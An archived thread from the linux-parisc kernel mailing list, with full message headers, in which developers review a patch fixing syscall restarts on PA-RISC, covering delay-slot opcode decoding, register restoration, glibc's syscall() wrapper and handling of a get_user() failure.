	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:14:10 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20151220201409.SRNU24459.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Dec 2015 15:14:09 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by torspm02.bell.net
          with ESMTP
          id <20151220201409.WNXJ31117.torspm02.bell.net@[192.168.2.10]>;
          Sun, 20 Dec 2015 15:14:09 -0500
In-Reply-To: <20151218233034.GA24910@p100.box>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.56770C11.000F,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26259
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26259>

On 2015-12-18, at 6:30 PM, Helge Deller wrote:

> +	/* Get assembler opcode of code in delay branch */
> +	uaddr = (unsigned int *) (regs->gr[31] + 1);

Shouldn't increment be 4?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 21:18:09 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <56770D01.9010608@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <B201D30D-8677-4D06-B3F9-EA4494972EF5@bell.net> <56770606.9020005@gmx.de>
 <A804D424-7C3E-4639-9EC4-5A52653EE0DD@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450642714 4403 80.91.229.3 (20 Dec 2015 20:18:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:18:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:18:26 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkQz-0005Kh-Fi
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:18:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750986AbbLTUSV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:18:21 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:50023 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750754AbbLTUSU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:18:20 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LZz01-1ac86b28J3-00llyq; Sun, 20 Dec 2015 21:18:12
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <A804D424-7C3E-4639-9EC4-5A52653EE0DD@bell.net>
X-Provags-ID: V03:K0:fIW9M8U0WLJN9T9jBW+9YUbDMst5PbPkfRWi+24HDjGlZWqTiq3
 9GbLRIzK02Z2hO4qC1L/SY0dYi8cL6Rl+Ay7QMBVG+WqP8NKSoAcCsL4F396YGas32SORjQ
 jQptA9CGRvPw2xSM3nWolVan5gC0xYcKf6bPlrULSeTyrjOZv/jerqe/Tyii7SmGr2j/csI
 /c0nKS/W2SLxtvuyfFEwA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:KX7jH23Hh4I=:sKe77lnN+Jt/rChUbeQOhN
 dbw/3mcPcuYukLMnmmW6Lv5C/znlMc1d2NUApJoYgIJSHPaBnskiC6LbYsv8LOaXVkEHi8a05
 2hGg+1XLCiuoHgiZ4xzp37eZ8WJr1aSISXc1cWUULBObAi+3FQ0hZItfedJ5zJKSgabOzsAkx
 ASMnVRxohRBOAeLtIJysu/gYj3so2RUIG6s//AeGNxIRAuDcFp4MjPc6+bIBKRWTtE0hZkF0H
 f7NdxotMgj7EFUt93X1R3cbYk86Bb1T6suOUIWtpCLsCatwCDfzxpi53IhmWKG/fnb54ayv1j
 H4JpQlBRmGNK2reUFpsn8XBPvH8zeRG/trscURLVUhaLL349IhfS1CgSA2Gts+WqHPGLO7Csl
 9EL3DtDVX7eZlt8DajLXUk67ICmsNHLpTWFa8hCWPnN7LWUuGIxd5mnb3aOgOXePYEoD0QAXD
 jTgkg8SN8HvY+1+mynPxNf9DUfe82Q+9O85dKUUYwLPcKhtxo48ufw2i2JmAz2GZcZ9VXYVFU
 RzCREbiqeZpuPSFp7g3pX09n5zhVr9nYaIGuGh0kGl5pZQTsnmtkxW+sjVx9TsxwI2GonJ6OS
 D5g8ZwgrGvWUkAOSnjX+7woxsdX0FrJTRvcImpzKRZjScpFoCfPGbqgxP3OllYdmT+NGIA5xa
 JHwI81U3ql612R1ED5vmb6zR+7PqKBkN/tkDbQr+F9U8iZ/ov9ikxbuoEghrrMdRd3HEFni/C
 1kLkK5EY6isUF2/d92FJnVnfpAPivnwpS7oyeHrfYAVCFaKBljFK9tkzEi7abEKzhj81aymq 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26260>

On 20.12.2015 21:01, John David Anglin wrote:
> On 2015-12-20, at 2:48 PM, Helge Deller wrote:
> 
>> On 20.12.2015 20:39, John David Anglin wrote:
>>> On 2015-12-18, at 6:30 PM, Helge Deller wrote:
>>>
>>>> +	/* Usually we don't have to restore %r20 (the system call number)
>>>> +	 * because it gets loaded in the delay slot of the branch external
>>>> +	 * instruction via the ldi instruction.
>>>> +	 * In some cases a register-to-register copy instruction might have
>>>> +	 * been used instead, in which case we need to copy the syscall
>>>> +	 * number into the source register before returning to userspace.
>>>> +	 */
>>>
>>> I'm thinking it might be better to fix syscall() in glibc.  The copy could be
>>> moved before ble and a nop placed delay slot.
>>
>> Yes, I think it should be fixed in glibc which makes it cleaner.
>> I looked at dietlibc. There a "nop" is being used.
> 
> A "nop" implies %r20 needs to be restored.

Yes, I tested that. It is being restored correctly, although the comments
imply different behaviour.

>> Nevertheless, it may happen anytime if people forget, that we will see a
>> "copy" there again, so IMHO it's probably safer to include the workaround in 
>> kernel too.
> 
> 
> The current patch assumes regs->gr[source_reg] is restored. 

Yes and no.

The real problem we actually faced is, that the glibc() syscall function
uses %r28 (aka the return value of the syscall) as "source_reg".
That's the reason why we failed with "ENOSYS" in the end, because when we returned
(before my patch) from the first syscall we returned -ERESTARTSYS
in %r28 (which is basically correct), but then the "copy %r28,%r20" in
userspace moved "-ERESTARTSYS" back into %r20, jumped into the kernel, and the
kernel (correctly) reported back "ENOSYS" since there is no such syscall
number with the value of "-ERESTARTSYS".
The problem: %r28 is of course not one of the registers which is being restored.
Quite complicated... I hope I could explain it somewhat...?

> That needs to be
> checked given previous comment about %r20.
> 
> Essentially, all syscall clobbered registers need to be restored.

Yes, they are (with the exception of the return value %r28).

> Can the user space stuff be avoided by jumping to the gateway entry point?

Probably.
I didn't looked into that.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 21:19:18 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <56770D46.3030909@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <6E922C83-B2CF-4B18-94B4-E848EF7305F9@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450642782 5390 80.91.229.3 (20 Dec 2015 20:19:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:19:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:19:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkS0-0005Kh-Fj
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:19:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750754AbbLTUT1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:19:27 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:58158 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750714AbbLTUT1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:19:27 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MEoGY-1ZzFCc2eF8-00Fywp; Sun, 20 Dec 2015 21:19:20
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <6E922C83-B2CF-4B18-94B4-E848EF7305F9@bell.net>
X-Provags-ID: V03:K0:ONJ7uLrmlyqNDAH2XImt9DNxL7AmbnDofGDHIHKtoQBhouPBnRu
 L9PkXWkNs8NuObLgf247YfU70vL2T5sR6de5oMskPtTao3z8+LhQoHk3qRswiTe7OuU2Uh/
 vf4AtclDurK3E500KDurJbFCVnknOg2sUO/4dR1H3qxFmcH230hAFfUodfdS3SklqHWPiQn
 CIEPnHsStSNaCZGyLHI7Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kZhbrX8rQEI=:hxRWTMbohaW7s7XXiqg8PY
 r7BlZA81vXCCfmPadVMkQewUUHBGWNSUJGZxjWF4htm3dbCXld6RDa+9OhjGd2z2cz+CMbn3c
 zBUR4/XTckxH0h9c0zRmwZ/pnB9qh5zNqQcVQsQkvbzST7mJ5vd9eHT4DKu2pPD3aZhh59Ewh
 RwZn30BqEfLxUyikP22BtWuXOm81+2jZIVow+KsO/pHQqKfQ7uRNz/aReveWJTA09mNxxJbaL
 uG9VYABkQGYAMRrs0xSi/6NFgKUoYpkY9EDYR60ubHItA9DMPRbJA9HTQk3tGdvnUDMPDt9x6
 8OSCo2Mt2kdg6hDd5435yAM8765nerO3Ybj77Ffo/FQufj7hSrUgrwlGyeJFw7XqiSGQ5fCsX
 eIvaqnMu97gIHXxYaLvUbJdTltcO6Q8tkOneldHhGVHmzAhkQPFuxek+xsJ0SBa04KPOmk6AT
 aA6X19irwAahkMdQ5Wck1LkII96iKTjU32KzYFPgA7GsCFK2fglHEHgqj/FZDnp5Bwhdq6vtQ
 YHJETBsmFKLIaA6mwq6s1vsDF5Q4r2/t1yrMXlBMcKQLyR5ty+eZK278IKzM+FNS4gBrBWf+W
 692lVsCeoah7ZjoKrh4fDsDxrsgrK905ffuhSIWUi3bBZt2X9qH9Jd/A+u4Qq3uu0uQOcii66
 lozISMI1NXQT2DXcsyRAoPGV+Ak/qAJYhsqzh0BJT+AZwidqm2IJSiVZfW26RvaNfD7t1Kyrh
 B+f1AarXCMyble2/hAOQDYxEUR0MDJJ1zE3YgJ83MG7438dIXphDJW4NIAb4EWgpkhLzaMPq 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26261>

On 20.12.2015 21:14, John David Anglin wrote:
> On 2015-12-18, at 6:30 PM, Helge Deller wrote:
> 
>> +	/* Get assembler opcode of code in delay branch */
>> +	uaddr = (unsigned int *) (regs->gr[31] + 1);
> 
> Shouldn't increment be 4?

No.
The first address which is being executed in userspace is regs->gr[31]-3.

Helge


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 21:21:53 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <56770DE1.7050904@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <6E922C83-B2CF-4B18-94B4-E848EF7305F9@bell.net> <56770D46.3030909@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450642935 7897 80.91.229.3 (20 Dec 2015 20:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:22:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:22:07 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkUY-0003Af-2j
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:22:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751040AbbLTUWF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:22:05 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:58798 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751009AbbLTUWE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:22:04 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MDW9x-1ZyPcM1lhV-00GoyE; Sun, 20 Dec 2015 21:21:55
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <56770D46.3030909@gmx.de>
X-Provags-ID: V03:K0:yd0T4HOSFvg/t2b9KCspLvYLaFYbl9VV+S7qwQj4g1xYJqV60R/
 55TMQmX9wWWNDYkSv9+EGe93WVSD1Ep5qgmRq63iNY+GZc7HW2f9znxc0Onq0H2sxfPJjiA
 b6jNBZZRR90DfBPcSzmuemfDh7035j6PPGT69k7uF2J/Fbl6LGjI75R75tKl3RJw2mDSBmM
 FZAPABFHHqHNTu8VmcCeQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:9qkP9IpEifM=:FBvQm4X6VpI1EBrp2bH1u8
 T7Yo1CPY+nxpS2I/7IKg1VRTGV205PTFYXTrwEGMEpVK+GlLMDVn8t0pCFa00pnnhBeFe2dvn
 cvX1RiIryygu5GAr3CE75+2fiuJ4mCsXrSl6oQUKHtpUWZ/PiDE4+1IqUEeSXRAdK/h1myqZB
 NIA20E15VC51b5yGjQuC/Fm9jMpRULCF1amQNU7D7g4Jyc27DAOFQR5jx6T5CV4lC4DGIO+d9
 NWSd/SQRkDGu4Vph13ARHQLlHY5+9q16PMOpyp/Hw2MPvgzSxOBk6sqBw9oRIliDnQ5Eqs5GD
 qaEHrBrQsl1yoxiA6vReuw/ZE06ZlZ5CNPSJMI0SvxfeasWBSPtz+O/3koNADdJyVYlVhtQp6
 B6vnj0I0Gi+xtenGIgQNhCsLWsOgKi8wErmkuKzSgnAF9z9Qb5aypbAWMa7rTjqFUBHzll77j
 dA7CMxTPITVk3luu6bFFQKgK6iIwS6JR68D0xjPL86UhtD55t5CZy0nyQYDPH7jBkhib0tm6L
 PHcAQXkJLdKZD1thH6yx4jqdL4ZquDINdfRmTuglh1KlpYOVOUcJNIJls4Seljj5zUQLvFSlc
 VEOhnqjqCw7bGSWjKiRPg/hpqbi0BbN72PRwT0Fhgw7iWuHVPNMLWND2HaNvKf/DS+zRcqJH5
 OWoUUTKVEcpmqbxvPxy9zE0jJdrEYnoT7X1zamf1EKSCAJQKLyMTWGl1qvN3gaQXHVOXo6kSG
 g0zbSzLK7+dcO0jrsBwaUg2baAk3uDFjAcpDxnYmtiMLxSnHvv3eHEQmkw6WAGF0olxA2n6t 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26262
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26262>

On 20.12.2015 21:19, Helge Deller wrote:
> On 20.12.2015 21:14, John David Anglin wrote:
>> On 2015-12-18, at 6:30 PM, Helge Deller wrote:
>>
>>> +	/* Get assembler opcode of code in delay branch */
>>> +	uaddr = (unsigned int *) (regs->gr[31] + 1);
>>
>> Shouldn't increment be 4?
> 
> No.
> The first address which is being executed in userspace is regs->gr[31]-3.

I could (should?) have used
	uaddr = (unsigned int *) ((regs->gr[31] & ~3) + 4);

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 21:35:32 +0100
Lines: 153
Approved: news@gmane.org
Message-ID: <56771114.6030201@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
 <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
 <5676CE11.9020808@gmx.de> <1450630202.2256.5.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450643750 19483 80.91.229.3 (20 Dec 2015 20:35:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:35:50 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:35:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkhi-0000Zi-SN
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:35:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750786AbbLTUfm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:35:42 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:59030 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750768AbbLTUfl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:35:41 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MIe0O-1aCxd02AOW-002EYX; Sun, 20 Dec 2015 21:35:34
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1450630202.2256.5.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:7sbm1SWlBP6Y0dd9ohG7t6XeFa8/w6Ix6a13hAxNBbMOKOizOvP
 Twgp581PZmvQfk1MlPOl62Z6+4ASq23Wf+C+1KvLN1YJ9ZrM5EcuOeEf5EpW3jvIilXLm/J
 NPgA5S9k4Lo2KWfJop3TmUTK83We3ebpKboPBaa4yc9me+sZWm0aYp3IAEp5HigUMk+Pmq0
 TtzLmnkn074qXoradGa7w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6CO/eeOD8uI=:kKasYuuoXGm4VzLoeLoUi9
 Tuk3bNXbRY8nMh5CzO2YBBgPJkZByTUFF7nw5Dl/CCZNxcusdSO7P0t9Xgjf00kQhFw+RWtWS
 EQiVOXfuQSUoU4HUfpNICgHLLnG1iYy2egBduITWQYynLRunX8Ylr36DwjkbDzobonNcAIEZZ
 FNw0Ei8pWQ2pepT4xEnjJ26UEayJJUqkeS+uPOIYVPmXNpXKghH9cjlo5S0M6QyzExr+wiplr
 1x37wamK+Ea1xnx/OQUj7L2Pv8Nbhq8q0+9GtkefOnkkQ4bV8ITPj17c4mGF/WxBKGWOGGZpF
 wHv+zmk3SEsBVJQfTX/bA08EP2unm50cKCgY1JXN8p4QiTTTJxREA2Cj+0McGLAtW4vw6CwML
 jWH+vvWyTiB42QieiS1jZvgf4xoFiFxPkP3Xg4Z2luA/JXqHtKnIyo4bHPDgbRwEyru5ud+KE
 J6SjsOpOI7USzOzfM6iuKhBRDc9khkhziZ6Hle4lhUTrXIDs/wFlidQ+AGAsQ2qckfCMXuHGB
 xXzHJRyxGyPFIMvEyck17WX9J59Sy4xRFWvKbLHluhIN4BD8iwnHkwuvvlp4HNlzOKsggACDm
 eQ2b0ZDqWZhsYWgBrCjREo/cRyON0M5W0GDzAX7w+/ciylZzp2vMWcznZ4yxwuddaUTyK2ut0
 LXH79Snt9dAk1C/vTgdUspVwcUBZZ03eMGLRfRo7xEeoT4kGjlw9N97tY+/k9jMa5oPqxOKXN
 KSMzMbw0ip+0rsqAMAWeoPICeVoxLKIyWh70RccAXl8Q0V+fGzCiRp+SQAvWmDqbuGXuTEc1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26263>

On 20.12.2015 17:50, James Bottomley wrote:
> On Sun, 2015-12-20 at 16:49 +0100, Helge Deller wrote:
>> On 20.12.2015 15:09, Mathieu Desnoyers wrote:
>>> ----- On Dec 20, 2015, at 8:59 AM, Mathieu Desnoyers 
>>> mathieu.desnoyers@efficios.com wrote:
>>>
>>>> ----- On Dec 18, 2015, at 6:30 PM, Helge Deller deller@gmx.de wro
>>>> te:
>>>>
>>>>> On parisc syscalls which are interrupted by signals sometimes
>>>>> fail to restart
>>>>> and instead return -ENOSYS which then in the worst case lead to
>>>>> userspace
>>>>> crashes.
>>>>> A similiar problem existed on MIPS and was fixed by commit
>>>>> e967ef02
>>>>> ("MIPS: Fix restart of indirect syscalls").
>>>>>
>>>>> On parisc the current syscall restart code assumes hat the
>>>>> syscall number is
>>>>> always loaded in the delay branch of the ble instruction as
>>>>> defined in the
>>>>> unistd.h header file and as such never restored %r20 before
>>>>> returning to
>>>>> userspace:
>>>>> 	ble 0x100(%sr2, %r0)
>>>>> 	ldi #syscall_nr, %r20
>>>>>
>>>>> This assumption is at least not true for code which uses the
>>>>> syscall() glibc
>>>>> function, which instead uses this syntax:
>>>>> 	ble 0x100(%sr2, %r0)
>>>>> 	copy regX, %r20
>>>>> where regX depend on how the compiler optimizes the code and
>>>>> register usage.
>>>>>
>>>>> This patch fixes this problem by adding code to analyze how the
>>>>> syscall number
>>>>> is loaded in the delay branch and - if needed - copy the
>>>>> syscall number to regX
>>>>> prior returning to userspace for the syscall restart.
>>>>>
>>>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>>> Cc: stable@vger.kernel.org
>>>>> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
>>>>>
>>>>> diff --git a/arch/parisc/kernel/signal.c
>>>>> b/arch/parisc/kernel/signal.c
>>>>> index dc1ea79..b0414ad 100644
>>>>> --- a/arch/parisc/kernel/signal.c
>>>>> +++ b/arch/parisc/kernel/signal.c
>>>>> @@ -435,6 +435,48 @@ handle_signal(struct ksignal *ksig, struct
>>>>> pt_regs *regs,
>>>>> int in_syscall)
>>>>> 		regs->gr[28]);
>>>>> }
>>>>>
>>>>> +/*
>>>>> + * Check the delay branch in userspace how the syscall number
>>>>> gets loaded into
>>>>> + * %r20 and adjust as needed.
>>>>
>>>> I'm pretty sure "Check the delay branch in userspace how the
>>>> syscall..."
>>>> is not an English construct. ;-) Suggested rewording:
>>>>
>>>> "Check how the syscall number gets loaded into %r20 within
>>>> the delay branch in userspace and adjust as needed."
>>
>> Thanks!
>> I'll change that.
>>
>>
>>>>> + */
>>>>> +
>>>>> +static void check_syscallno_in_delay_branch(struct pt_regs
>>>>> *regs)
>>>>> +{
>>>>> +	unsigned int opcode, source_reg;
>>>>
>>>> Why "unsigned int" above rather than u32 ? Since we're using
>>>> opcode as target variable for a get_user, it would be clearer
>>>> if the type of the __user * match the type of the target kernel
>>>> variable. (understood that those happen to have the same bitness
>>>> and type size on all Linux architectures, but it would be clearer
>>>> nevertheless).
>>
>> Yes, seems OK.
>> I'll change that.
>>
>>>>> +	u32 __user *uaddr;
>>>>> +
>>>>> +	/* Usually we don't have to restore %r20 (the system
>>>>> call number)
>>>>> +	 * because it gets loaded in the delay slot of the
>>>>> branch external
>>>>> +	 * instruction via the ldi instruction.
>>>>> +	 * In some cases a register-to-register copy
>>>>> instruction might have
>>>>> +	 * been used instead, in which case we need to copy
>>>>> the syscall
>>>>> +	 * number into the source register before returning to
>>>>> userspace.
>>>>> +	 */
>>>>> +
>>>>> +	/* A syscall is just a branch, so all
>>>>> +	 * we have to do is fiddle the return pointer.
>>>>> +	 */
>>>>> +	regs->gr[31] -= 8; /* delayed branching */
>>>>> +
>>>>> +	/* Get assembler opcode of code in delay branch */
>>>>> +	uaddr = (unsigned int *) (regs->gr[31] + 1);
>>>>> +	get_user(opcode, uaddr);
>>>>
>>>> get_user() can fail due to EFAULT. This error should be
>>>> handled here, otherwise this could lead to the following
>>>> code using an uninitialized opcode variable, which could
>>>> indirectly leak a few bits of kernel stack information
>>>> to userspace (security concern). One attack vector I have
>>>> in mind for this is ptrace(), which might be able to tweak
>>>> those register values.
>>
>> Yes, generally get_user() can fail.
>> But this would be rather strange in that case, because
>> the syscall was started by userspace from this address.
>> So, without the code at that address in userspace, we would
>> never have reached this get_user().
> 
> Actually, that's not necessarily a safe assumption.  Any memory
> allocation in a syscall path (except GFP_ATOMIC) can trigger reclaim
> and since this is a signal restart path, that's entirely possible. 
>  Reclaim could pull the backing page out from under the syscall, so in
> a low memory situation it is possible get_user() could fail with EFAULT

Really?
Maybe I misunderstood...?
So, let's say we have low memory and the kernel "swapped" out the userspace.
I assume that when there is no memory pressure get_user() would
pull the page in again, and if it's memory pressure, then with the assumption 
there is no memory left it probably return EFAULT (is that true?).
But what happens then when we return to userspace? 
I expect userspace then to segfault.

I will add the check for EFAULT, but just trying to understand...

> unless get_user_page() has been called somewhere to pin the page.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
